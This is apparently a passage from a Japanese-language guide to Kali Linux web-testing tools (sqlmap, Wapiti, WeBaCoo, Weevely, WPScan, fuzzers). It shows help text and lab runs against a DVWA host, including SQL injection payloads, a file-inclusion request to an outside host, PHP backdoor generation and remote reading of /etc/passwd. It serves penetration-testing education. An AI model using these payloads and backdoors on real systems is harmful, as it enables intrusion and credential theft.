    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

■ 使用例

root@kali:~# sqlmap -u "http://192.168.11.4/dvwa/vulnerabilities/sqli/?id=1*&Submit=Submit" \
--cookie "PHPSESSID=04d676deca8b0f224210c81f83fd5b61;security=medium" \
--level=5 --risk=3 --dbms=MySQL
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[02:18:09] [INFO] flushing session file
[02:18:09] [INFO] testing connection to the target URL
[02:18:10] [INFO] checking if the target is protected by some kind of WAF/IPS
[02:18:10] [INFO] testing if the target URL content is stable
[02:18:10] [INFO] target URL content is stable
[02:18:10] [INFO] testing if URI parameter '#1*' is dynamic
[02:18:10] [WARNING] URI parameter '#1*' does not appear to be dynamic
[02:18:10] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[...]
sqlmap identified the following injection point(s) with a total of 250 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: http://192.168.11.4/dvwa/vulnerabilities/sqli/?id=1 OR NOT 4055=4055&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://192.168.11.4/dvwa/vulnerabilities/sqli/?id=1 AND ROW(3056,2488)>(SELECT COUNT(*),CONCAT(0x716a707a71,(SELECT (ELT(3056=3056,1))),0x7171626a71,FLOOR(RAND(0)*2))x FROM (SELECT 8039 UNION SELECT 9934 UNION SELECT 7414 UNION SELECT 9367)a GROUP BY x)&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.11.4/dvwa/vulnerabilities/sqli/?id=1 AND (SELECT 9720 FROM (SELECT(SLEEP(5)))EQKY)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: http://192.168.11.4/dvwa/vulnerabilities/sqli/?id=1 UNION ALL SELECT CONCAT(0x716a707a71,0x4e56456d565748655149425a6d4758726b7a6763685563446c59595171514b466c71755672694a7a,0x7171626a71),NULL-- -&Submit=Submit
---

WAFW00F

WAF（Webアプリケーションファイアウォール）のフィンガープリントをもとに使用されている製品を推測します。

■ 使用方法

root@kali:~# wafw00f --help

Usage: wafw00f url1 [url2 [url3 ... ]]

Options:
  -h, --help            show this help message and exit
  -v, --verbose         Enable verbosity, multiple -v options increase
                        verbosity
  -a, --findall         Find all WAFs which match the signatures, do not stop
                        testing on the first one
  -r, --noredirect      Do not follow redirections given by 3xx responses
  -t TEST, --test=TEST  Test for one specific WAF
  -o OUTPUT, --output=OUTPUT
                        Write output to csv, json or text file depending on
                        file extension. For stdout, specify - as filename.
  -f FORMAT, --format=FORMAT
                        Force output format to csv, json or text.
  -i INPUT, --input-file=INPUT
                        Read targets from a file. Input format can be csv,
                        json or text. For csv and json, a `url` column name or
                        element is required.
  -l, --list            List all WAFs that WAFW00F is able to detect
  -p PROXY, --proxy=PROXY
                        Use an HTTP proxy to perform requests, examples:
                        http://hostname:8080, socks5://hostname:1080,
                        http://user:pass@hostname:8080
  -V, --version         Print out the current version of WafW00f and exit.
  -H HEADERS, --headers=HEADERS
                        Pass custom headers via a text file to overwrite the
                        default header set.

■ 使用例

root@kali:~# wafw00f https://192.168.11.4
[*] Checking https://192.168.11.4
[+] The site https://192.168.11.4 is behind Wordfence (Defiant) WAF.
[~] Number of requests: 2

Wapiti

Webアプリケーションをスキャンして脆弱性をチェックします。

■ 使用方法

root@kali:~# wapiti --help

usage: wapiti [-h] [-u URL] [--scope {page,folder,domain,url,punk}] [-m MODULES_LIST] [--list-modules] [--update] [-l LEVEL] [-p PROXY_URL]
              [--tor] [-a CREDENTIALS] [--auth-type {basic,digest,kerberos,ntlm,post}] [-c COOKIE_FILE] [--skip-crawl] [--resume-crawl]
              [--flush-attacks] [--flush-session] [--store-session PATH] [--store-config PATH] [-s URL] [-x URL] [-r PARAMETER]
              [--skip PARAMETER] [-d DEPTH] [--max-links-per-page MAX] [--max-files-per-dir MAX] [--max-scan-time SECONDS]
              [--max-attack-time SECONDS] [--max-parameters MAX] [-S FORCE] [-t SECONDS] [-H HEADER] [-A AGENT] [--verify-ssl {0,1}] [--color]
              [-v LEVEL] [-f FORMAT] [-o OUPUT_PATH] [--external-endpoint EXTERNAL_ENDPOINT_URL] [--internal-endpoint INTERNAL_ENDPOINT_URL]
              [--endpoint ENDPOINT_URL] [--no-bugreport] [--version]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The base URL used to define the scan scope (default scope is folder)
  --scope {page,folder,domain,url,punk}
                        Set scan scope
  -m MODULES_LIST, --module MODULES_LIST
                        List of modules to load
  --list-modules        List Wapiti attack modules and exit
  --update              Update Wapiti attack modules and exit
  -l LEVEL, --level LEVEL
                        Set attack level
  -p PROXY_URL, --proxy PROXY_URL
                        Set the HTTP(S) proxy to use. Supported: http(s) and socks proxies
  --tor                 Use Tor listener (127.0.0.1:9050)
  -a CREDENTIALS, --auth-cred CREDENTIALS
                        Set HTTP authentication credentials
  --auth-type {basic,digest,kerberos,ntlm,post}
                        Set the authentication type to use
  -c COOKIE_FILE, --cookie COOKIE_FILE
                        Set a JSON cookie file to use
  --skip-crawl          Don\'t resume the scanning process, attack URLs scanned during a previous session
  --resume-crawl        Resume the scanning process (if stopped) even if some attacks were previously performed
  --flush-attacks       Flush attack history and vulnerabilities for the current session
  --flush-session       Flush everything that was previously found for this target (crawled URLs, vulns, etc)
  --store-session PATH  Directory where to store attack history and session data.
  --store-config PATH   Directory where to store configuration databases.
  -s URL, --start URL   Adds an url to start scan with
  -x URL, --exclude URL
                        Adds an url to exclude from the scan
  -r PARAMETER, --remove PARAMETER
                        Remove this parameter from urls
  --skip PARAMETER      Skip attacking given parameter(s)
  -d DEPTH, --depth DEPTH
                        Set how deep the scanner should explore the website
  --max-links-per-page MAX
                        Set how many (in-scope) links the scanner should extract for each page
  --max-files-per-dir MAX
                        Set how many pages the scanner should explore per directory
  --max-scan-time SECONDS
                        Set how many seconds you want the scan to last (floats accepted)
  --max-attack-time SECONDS
                        Set how many seconds you want each attack module to last (floats accepted)
  --max-parameters MAX  URLs and forms having more than MAX input parameters will be erased before attack.
  -S FORCE, --scan-force FORCE
                        Easy way to reduce the number of scanned and attacked URLs. Possible values: paranoid, sneaky, polite, normal,
                        aggressive, insane
  -t SECONDS, --timeout SECONDS
                        Set timeout for requests
  -H HEADER, --header HEADER
                        Set a custom header to use for every requests
  -A AGENT, --user-agent AGENT
                        Set a custom user-agent to use for every requests
  --verify-ssl {0,1}    Set SSL check (default is no check)
  --color               Colorize output
  -v LEVEL, --verbose LEVEL
                        Set verbosity level (0: quiet, 1: normal, 2: verbose)
  -f FORMAT, --format FORMAT
                        Set output format. Supported: json, html (default), txt, xml
  -o OUPUT_PATH, --output OUPUT_PATH
                        Output file or folder
  --external-endpoint EXTERNAL_ENDPOINT_URL
                        Url serving as endpoint for target
  --internal-endpoint INTERNAL_ENDPOINT_URL
                        Url serving as endpoint for attacker
  --endpoint ENDPOINT_URL
                        Url serving as endpoint for both attacker and target
  --no-bugreport        Don\'t send automatic bug report when an attack module fails
  --version             Show program\'s version number and exit

■ 使用例

# ログイン認証を行いCookieをJSONファイルに保存
root@kali:~# wapiti-getcookie -u http://192.168.11.4/dvwa/login.php -c cookie.json
Unable to correctly determine your language settings. Using english as default.
Please check your locale settings for internationalization features.
===============================================================
<Cookie PHPSESSID=7bd96fe8ed582842789cc9582969ba0e for 192.168.11.4/>
<Cookie security=high for 192.168.11.4/dvwa>

Choose the form you want to use or enter 'q' to leave :
0) POST http://192.168.11.4/dvwa/login.php (0)
        data: username=alice&password=&Login=Login

Enter a number : 0

Please enter values for the following form:
url = http://192.168.11.4/dvwa/login.php
username (alice) : admin
password: password
Login (Login) : Login
<Cookie PHPSESSID=7bd96fe8ed582842789cc9582969ba0e for 192.168.11.4/>
<Cookie security=high for 192.168.11.4/dvwa>

# 保存したCookieを使ってWebアプリケーションをスキャン
root@kali:~# wapiti -u http://192.168.11.4/dvwa/ -c cookie.json --level 2　--exclude　http://192.168.11.4/dvwa/logout.php

 Note
========
This scan has been saved in the file /root/.wapiti/scans/192.168.11.4_folder_6175d1a4.db
[*] Wapiti found 40 URLs and forms during the scan
[*] Loading modules:
         backup, blindsql, brute_login_form, buster, cookieflags, crlf, csp, csrf, exec, file, htaccess, http_headers, methods, nikto, permanentxss, redirect, shellshock, sql, ssrf, wapp, xss, xxe

[*] Launching module csp
CSP is not set

[*] Launching module http_headers
Checking X-Frame-Options :
X-Frame-Options is not set
Checking X-XSS-Protection :
X-XSS-Protection is not set
Checking X-Content-Type-Options :
X-Content-Type-Options is not set
Checking Strict-Transport-Security :
Strict-Transport-Security is not set

[*] Launching module cookieflags
Checking cookie : PHPSESSID
Secure flag is not set in the cookie : PHPSESSID
Checking cookie : security
HttpOnly flag is not set in the cookie : security
Secure flag is not set in the cookie : security

[*] Launching module exec

[*] Launching module file
---
Possible include() vulnerability in http://192.168.11.4/dvwa/vulnerabilities/fi/ via injection in the parameter page
Evil request:
    GET /dvwa/vulnerabilities/fi/?page=https%3A%2F%2Fwapiti3.ovh%2Fe.php HTTP/1.1
    Host: 192.168.11.4
---
---
Linux local file disclosure vulnerability in http://192.168.11.4/dvwa/vulnerabilities/fi/ via injection in the parameter page
Evil request:
    GET /dvwa/vulnerabilities/fi/?page=%2Fetc%2Fpasswd HTTP/1.1
    Host: 192.168.11.4
---
[...]

Report
------
A report has been generated in the file /root/.wapiti/generated_report
Open /root/.wapiti/generated_report/192.168.11.4_11292024_0326.html with a browser to see this report.

出力されたHTMLレポート

WeBaCoo

PHPバックドアスクリプトの生成および実行を行います。

■ 使用方法

root@kali:~# webacoo -h

Usage: webacoo [options]

Options:
  -g            Generate backdoor code (-o is required)

  -f FUNCTION   PHP System function to use
        FUNCTION
                1: system       (default)
                2: shell_exec
                3: exec
                4: passthru
                5: popen

  -o OUTPUT     Generated backdoor output filename

  -r            Return un-obfuscated backdoor code

  -t            Establish remote "terminal" connection (-u is required)

  -u URL        Backdoor URL

  -e CMD        Single command execution mode (-t and -u are required)

  -m METHOD     HTTP method to be used (default is GET)

  -c C_NAME     Cookie name (default: "M-cookie")

  -d DELIM      Delimiter (default: New random for each request)

  -a AGENT      HTTP header user-agent (default exist)

  -p PROXY      Use proxy (tor, ip:port or user:pass:ip:port)

  -v LEVEL      Verbose level
        LEVEL
                0: no additional info (default)
                1: print HTTP headers
                2: print HTTP headers + data

  -l LOG        Log activity to file

  -h            Display help and exit

  update        Check for updates and apply if any

■ 使用例

# バックドアスクリプトを作成
root@kali_1:~# webacoo -g -o backdoor.php
[+] Backdoor file "backdoor.php" created.

# 作成したバックドアスクリプトを標的ホストに配置して実行
root@kali_1:~# webacoo -t -u http://192.168.11.4/backdoor.php

[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Type 'load' to use an extension module.
[*] Type ':<cmd>' to run local OS commands.
[*] Type 'exit' to quit terminal.

# 標的ホストでコマンドを実行
webacoo$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
[...]

Weevely

PHPバックドアスクリプトの生成および実行を行います。

■ 使用方法

root@kali_1:~# man weevely
SYNOPSIS
       Run terminal to the target
       weevely <URL> <password> [cmd]

       Generate backdoor agent
       weevely generate <password> <path>

       Load session file
       weevely session <path>
 Modules
       Module                        Description
       ──────────────────────────────────────────────────────────────────────────
       :audit_filesystem             Audit the file system for weak permissions.
       :audit_suidsgid               Find files with SUID or SGID flags.
       :audit_disablefunctionby‐     Bypass  disable_function  restrictions with
       pass                          mod_cgi and .htaccess.
       :audit_etcpasswd              Read /etc/passwd with different techniques.
       :audit_phpconf                Audit PHP configuration.
       :shell_sh                     Execute shell commands.
       :shell_su                     Execute commands with su.
       :shell_php                    Execute PHP commands.
       :system_extensions            Collect PHP and webserver extension list.
       :system_info                  Collect system information.
       :system_procs                 List running processes.
       :backdoor_reversetcp          Execute a reverse TCP shell.
       :backdoor_tcp                 Spawn a shell on a TCP port.
       :backdoor_meterpreter         Start a meterpreter session.
       :bruteforce_sql               Bruteforce SQL database.
       :file_gzip                    Compress or expand gzip files.
       :file_clearlog                Remove string from a file.
       :file_check                   Get attributes and permissions of a file.
       :file_upload                  Upload file to remote filesystem.
       :file_webdownload             Download an URL.
       :file_tar                     Compress or expand tar archives.
       :file_download                Download file from remote filesystem.
       :file_bzip2                   Compress or expand bzip2 files.
       :file_edit                    Edit remote file on a local editor.
       :file_grep                    Print lines matching a pattern in  multiple
                                     files.
       :file_ls                      List directory content.
       :file_cp                      Copy single file.
       :file_rm                      Remove remote file.
       :file_upload2web              Upload  file  automatically to a web folder
                                     and get corresponding URL.
       :file_zip                     Compress or expand zip files.
       :file_touch                   Change file timestamp.
       :file_find                    Find files with given names and attributes.
       :file_mount                   Mount remote filesystem using HTTPfs.
       :file_enum                    Check existence and permissions of  a  list
                                     of paths.
       :file_read                    Read  remote  file from the remote filesys‐
                                     tem.
       :file_cd                      Change current working directory.
       :sql_console                  Execute SQL query or run console.
       :sql_dump                     Multi dbms mysqldump replacement.
       :net_mail                     Send mail.
       :net_phpproxy                 Install PHP proxy on the target.
       :net_curl                     Perform a curl-like HTTP request.
       :net_proxy                    Run local proxy to pivot HTTP/HTTPS  brows‐
                                     ing through the target.
       :net_scan                     TCP Port scan.
       :net_ifconfig                 Get network interfaces addresses.

■ 使用例

# バックドアスクリプトを作成
root@kali_1:~# weevely generate hello backdoor.php
Generated 'backdoor.php' with password 'hello' of 692 byte size.

# 作成したバックドアスクリプトを標的ホストに配置して実行
root@kali_1:~# weevely http://192.168.11.4/backdoor.php hello
[+] weevely 4.0.1

[+] Target:     192.168.11.4
[+] Session:    /root/.weevely/sessions/192.168.11.4/backdoor_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

# 標的ホストでコマンドを実行
www-data@kali_2:/var/www/html $ :shell_sh cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
[...]

WhatWeb

Webアプリケーションがどのような技術スタックで構成されているのかをスキャンします。

■ 使用方法

root@kali:~# whatweb --help

Usage: whatweb [options] <URLs>

TARGET SELECTION:
  <TARGETs>                     Enter URLs, hostnames, IP addresses, filenames or
                                IP ranges in CIDR, x.x.x-x, or x.x.x.x-x.x.x.x
                                format.
  --input-file=FILE, -i         Read targets from a file. You can pipe
                                hostnames or URLs directly with -i /dev/stdin.

TARGET MODIFICATION:
  --url-prefix                  Add a prefix to target URLs.
  --url-suffix                  Add a suffix to target URLs.
  --url-pattern                 Insert the targets into a URL.
                                e.g. example.com/%insert%/robots.txt

AGGRESSION:
The aggression level controls the trade-off between speed/stealth and
reliability.
  --aggression, -a=LEVEL        Set the aggression level. Default: 1.
  1. Stealthy                   Makes one HTTP request per target and also
                                follows redirects.
  3. Aggressive                 If a level 1 plugin is matched, additional
                                requests will be made.
  4. Heavy                      Makes a lot of HTTP requests per target. URLs
                                from all plugins are attempted.

HTTP OPTIONS:
  --user-agent, -U=AGENT        Identify as AGENT instead of WhatWeb/0.5.5.
  --header, -H                  Add an HTTP header. eg "Foo:Bar". Specifying a
                                default header will replace it. Specifying an
                                empty value, e.g. "User-Agent:" will remove it.
  --follow-redirect=WHEN        Control when to follow redirects. WHEN may be
                                'never', 'http-only', 'meta-only', 'same-site',
                                or 'always'. Default: always.
  --max-redirects=NUM           Maximum number of redirects. Default: 10.

AUTHENTICATION:
  --user, -u=<user:password>    HTTP basic authentication.
  --cookie, -c=COOKIES          Use cookies, e.g. 'name=value; name2=value2'.
  --cookie-jar=FILE             Read cookies from a file.

PROXY:
  --proxy                       <hostname[:port]> Set proxy hostname and port.
                                Default: 8080.
  --proxy-user                  <username:password> Set proxy user and password.

PLUGINS:
  --list-plugins, -l            List all plugins.
  --info-plugins, -I=[SEARCH]   List all plugins with detailed information.
                                Optionally search with keywords in a comma
                                delimited list.
  --search-plugins=STRING       Search plugins for a keyword.
  --plugins, -p=LIST            Select plugins. LIST is a comma delimited set
                                of selected plugins. Default is all.
                                Each element can be a directory, file or plugin
                                name and can optionally have a modifier, +/-.
                                Examples: +/tmp/moo.rb,+/tmp/foo.rb
                                title,md5,+./plugins-disabled/
                                ./plugins-disabled,-md5
                                -p + is a shortcut for -p +plugins-disabled.
  --grep, -g=STRING|REGEXP      Search for STRING or a Regular Expression. Shows
                                only the results that match.
                                Examples: --grep "hello"
                                --grep "/he[l]*o/"
  --custom-plugin=DEFINITION    Define a custom plugin named Custom-Plugin,
                                Examples: ":text=>'powered by abc'"
                                ":version=>/powered[ ]?by ab[0-9]/"
                                ":ghdb=>'intitle:abc \"powered by abc\"'"
                                ":md5=>'8666257030b94d3bdb46e05945f60b42'"
                                "{:text=>'powered by abc'}"
  --dorks=PLUGIN                List Google dorks for the selected plugin.

OUTPUT:
  --verbose, -v                 Verbose output includes plugin descriptions.
                                Use twice for debugging.
  --colour,--color=WHEN         control whether colour is used. WHEN may be
                                'never', 'always', or 'auto'.
  --quiet, -q                   Do not display brief logging to STDOUT.
  --no-errors                   Suppress error messages.

LOGGING:
  --log-brief=FILE              Log brief, one-line output.
  --log-verbose=FILE            Log verbose output.
  --log-errors=FILE             Log errors.
  --log-xml=FILE                Log XML format.
  --log-json=FILE               Log JSON format.
  --log-sql=FILE                Log SQL INSERT statements.
  --log-sql-create=FILE         Create SQL database tables.
  --log-json-verbose=FILE       Log JSON Verbose format.
  --log-magictree=FILE          Log MagicTree XML format.
  --log-object=FILE             Log Ruby object inspection format.
  --log-mongo-database          Name of the MongoDB database.
  --log-mongo-collection        Name of the MongoDB collection.
                                Default: whatweb.
  --log-mongo-host              MongoDB hostname or IP address.
                                Default: 0.0.0.0.
  --log-mongo-username          MongoDB username. Default: nil.
  --log-mongo-password          MongoDB password. Default: nil.
  --log-elastic-index           Name of the index to store results. Default: whatweb
  --log-elastic-host            Host:port of the elastic http interface. Default: 127.0.0.1:9200

PERFORMANCE & STABILITY:
  --max-threads, -t             Number of simultaneous threads. Default: 25.
  --open-timeout                Time in seconds. Default: 15.
  --read-timeout                Time in seconds. Default: 30.
  --wait=SECONDS                Wait SECONDS between connections.
                                This is useful when using a single thread.

HELP & MISCELLANEOUS:
  --short-help                  Short usage help.
  --help, -h                    Complete usage help.
  --debug                       Raise errors in plugins.
  --version                     Display version information.

■ 使用例

root@kali:~# whatweb http://192.168.11.4
http://192.168.11.4 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[192.168.11.4], JQuery, MetaGenerator[WordPress 5.2.21], PHP[7.2.34], Script[text/javascript], Title[Hello World], UncommonHeaders[link], WordPress[5.2.21], X-Powered-By[PHP/7.2.34], x-pingback[http://192.168.11.4/wp/xmlrpc.php]

WPScan

WordPressで作成されたサイトのセキュリティスキャンを行います。

■ 使用方法

root@kali:~# wpscan --help

Usage: wpscan [options]
        --url URL                                 The URL of the blog to scan
                                                  Allowed Protocols: http, https
                                                  Default Protocol if none provided: http
                                                  This option is mandatory unless update or help or hh or version is/are supplied
    -h, --help                                    Display the simple help and exit
        --hh                                      Display the full help and exit
        --version                                 Display the version and exit
    -v, --verbose                                 Verbose mode
        --[no-]banner                             Whether or not to display the banner
                                                  Default: true
    -o, --output FILE                             Output to FILE
    -f, --format FORMAT                           Output results in the format supplied
                                                  Available choices: json, cli-no-colour, cli-no-color, cli
        --detection-mode MODE                     Default: mixed
                                                  Available choices: mixed, passive, aggressive
        --user-agent, --ua VALUE
        --random-user-agent, --rua                Use a random user-agent for each scan
        --http-auth login:password
    -t, --max-threads VALUE                       The max threads to use
                                                  Default: 5
        --throttle MilliSeconds                   Milliseconds to wait before doing another web request. If used, the max threads will be set to 1.
        --request-timeout SECONDS                 The request timeout in seconds
                                                  Default: 60
        --connect-timeout SECONDS                 The connection timeout in seconds
                                                  Default: 30
        --disable-tls-checks                      Disables SSL/TLS certificate verification, and downgrade to TLS1.0+ (requires cURL 7.66 for the latter)
        --proxy protocol://IP:port                Supported protocols depend on the cURL installed
        --proxy-auth login:password
        --cookie-string COOKIE                    Cookie string to use in requests, format: cookie1=value1[; cookie2=value2]
        --cookie-jar FILE-PATH                    File to read and write cookies
                                                  Default: /tmp/wpscan/cookie_jar.txt
        --force                                   Do not check if the target is running WordPress or returns a 403
        --[no-]update                             Whether or not to update the Database
        --api-token TOKEN                         The WPScan API Token to display vulnerability data, available at https://wpscan.com/profile
        --wp-content-dir DIR                      The wp-content directory if custom or not detected, such as "wp-content"
        --wp-plugins-dir DIR                      The plugins directory if custom or not detected, such as "wp-content/plugins"
    -e, --enumerate [OPTS]                        Enumeration Process
                                                  Available Choices:
                                                   vp   Vulnerable plugins
                                                   ap   All plugins
                                                   p    Popular plugins
                                                   vt   Vulnerable themes
                                                   at   All themes
                                                   t    Popular themes
                                                   tt   Timthumbs
                                                   cb   Config backups
                                                   dbe  Db exports
                                                   u    User IDs range. e.g: u1-5
                                                        Range separator to use: '-'
                                                        Value if no argument supplied: 1-10
                                                   m    Media IDs range. e.g m1-15
                                                        Note: Permalink setting must be set to "Plain" for those to be detected
                                                        Range separator to use: '-'
                                                        Value if no argument supplied: 1-100
                                                  Separator to use between the values: ','
                                                  Default: All Plugins, Config Backups
                                                  Value if no argument supplied: vp,vt,tt,cb,dbe,u,m
                                                  Incompatible choices (only one of each group/s can be used):
                                                   - vp, ap, p
                                                   - vt, at, t
        --exclude-content-based REGEXP_OR_STRING  Exclude all responses matching the Regexp (case insensitive) during parts of the enumeration.
                                                  Both the headers and body are checked. Regexp delimiters are not required.
        --plugins-detection MODE                  Use the supplied mode to enumerate Plugins.
                                                  Default: passive
                                                  Available choices: mixed, passive, aggressive
        --plugins-version-detection MODE          Use the supplied mode to check plugins\' versions.
                                                  Default: mixed
                                                  Available choices: mixed, passive, aggressive
        --exclude-usernames REGEXP_OR_STRING      Exclude usernames matching the Regexp/string (case insensitive). Regexp delimiters are not required.
    -P, --passwords FILE-PATH                     List of passwords to use during the password attack.
                                                  If no --username/s option supplied, user enumeration will be run.
    -U, --usernames LIST                          List of usernames to use during the password attack.
                                                  Examples: 'a1', 'a1,a2,a3', '/tmp/a.txt'
        --multicall-max-passwords MAX_PWD         Maximum number of passwords to send by request with XMLRPC multicall
                                                  Default: 500
        --password-attack ATTACK                  Force the supplied attack to be used rather than automatically determining one.
                                                  Multicall will only work against WP < 4.4
                                                  Available choices: wp-login, xmlrpc, xmlrpc-multicall
        --login-uri URI                           The URI of the login page if different from /wp-login.php
        --stealthy                                Alias for --random-user-agent --detection-mode passive --plugins-version-detection passive

■ 使用例

root@kali:~# wpscan --url http://192.168.11.4

[+] URL: http://192.168.11.4/ [192.168.11.4]
[+] Started: Sun Dec  1 09:32:26 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.53 (Debian)
 |  - X-Powered-By: PHP/7.4.28
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.11.4/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.11.4/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.11.4/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.9.3 identified (Insecure, released on 2022-04-05).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.11.4/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.9.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.11.4/, Match: 'WordPress 5.9.3'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Dec  1 09:32:29 2024

Fuzzing

BED（Bruteforce Exploit Detector）

ソフトウェアにバッファオーバーフローや書式文字列攻撃などの潜在的な脆弱性がないかどうかチェックするためのファジングツールです。

■ 使用方法

root@kali:~# bed --help

 Usage:

 bed -s <plugin> -t <target> -p <port> -o <timeout> [ depends on the plugin ]

 <plugin>   = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5
 <target>   = Host to check (default: localhost)
 <port>     = Port to connect to (default: standard port)
 <timeout>  = seconds to wait after each test (default: 2 seconds)
 use "bed -s <plugin>" to obtain the parameters you need for the plugin.

 Only -s is a mandatory switch.

■ 使用例

# SMTPサービスに対してファジングテストを実行
root@kali:~# bed -s smtp -t 192.168.11.4 -u hello@localhost

* Normal tests
 + Buffer overflow testing:
                testing: 1      EXPN XAXAX      ...........
                testing: 2      EHLO XAXAX      ...........
                testing: 3      MAIL FROM: XAXAX        ...........
[...]
 + Formatstring testing:
                testing: 1      EXPN XAXAX      .......
                testing: 2      EHLO XAXAX      .......
                testing: 3      MAIL FROM: XAXAX
[...]
 + Unicode testing:
                testing: 1      EXPN XAXAX      .......
                testing: 2      EHLO XAXAX      .......
                testing: 3      MAIL FROM: XAXAX        .......
[...]

Doona

ソフトウェアにバッファオーバーフローや書式文字列攻撃などの潜在的な脆弱性がないかどうかチェックするためのファジングツールです。BEDをフォークして作成され、様々な改善が加えられています。

■ 使用方法

root@kali:~# doona --help

Usage: doona.pl [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

The following single-character options are accepted:
        With arguments: -m -s -t -o -p -r -u -v -w -x -M -c
        Boolean (without arguments): -d -h -k

Options may be merged together.  -- stops processing of options.
Space is not required between options and their arguments.
  [Now continuing due to backward compatibility and excessive paranoia.
   See 'perldoc Getopt::Std' about $Getopt::Std::STANDARD_HELP_VERSION.]
Usage:

 ./doona.pl -m [module] <options>

 -m <module>   = DICT/FINGER/FTP/HTTP/HTTP_MORE/HTTP_SP/HTTP_WEBDAV/IMAP/IRC/LPD/NNTP/PJL/POP/PROXY/RTSP/SMTP/SOCKS4/SOCKS5/TFTP/WHOIS
 -c <int>      = Execute a health check after every <int> fuzz cases
 -t <target>   = Host to check (default: localhost)
 -p <port>     = Port to connect to (default: module specific standard port)
 -o <timeout>  = seconds to wait after each test (default: 2 seconds)
 -r <index>    = Resumes fuzzing at test case index
 -k            = Keep trying until server passes a health check
 -d            = Dump test case to stdout (use in combination with -r)
 -M <num>      = Exit after executing <num> number of fuzz cases
 -h            = Help (this text)
 use "./doona.pl -m [module] -h" for module specific option.

■ 使用例

root@kali:~# doona -m HTTP -t 192.168.11.4 -o 0

 + Buffer overflow testing
    1/39   [XAXAX] ............................................. (45)
    2/39   [XAXAX / HTTP/1.0] ............................................. (90)
    3/39   [HEAD XAXAX HTTP/1.0] ............................................. (135)
    4/39   [HEAD /XAXAX HTTP/1.0] ............................................. (180)
    5/39   [HEAD /?XAXAX HTTP/1.0] ............................................. (225)
[...]
 + Formatstring testing
    1/39   [XAXAX] ........... (1766)
    2/39   [XAXAX / HTTP/1.0] ........... (1777)
    3/39   [HEAD XAXAX HTTP/1.0] ........... (1788)
    4/39   [HEAD /XAXAX HTTP/1.0] ........... (1799)
    5/39   [HEAD /?XAXAX HTTP/1.0] ........... (1810)
[...]
 + Buffer overflow testing
    1/532  GET / HTTP/1.0 [XAXAX: XAXAX] ............................................. (2229)
    2/532  GET / HTTP/1.0 [User-Agent: XAXAX] ............................................. (2274)
    3/532  GET / HTTP/1.0 [Host: XAXAX] ............................................. (2319)
    4/532  GET / HTTP/1.0 [Host: XAXAX:80] ............................................. (2364)
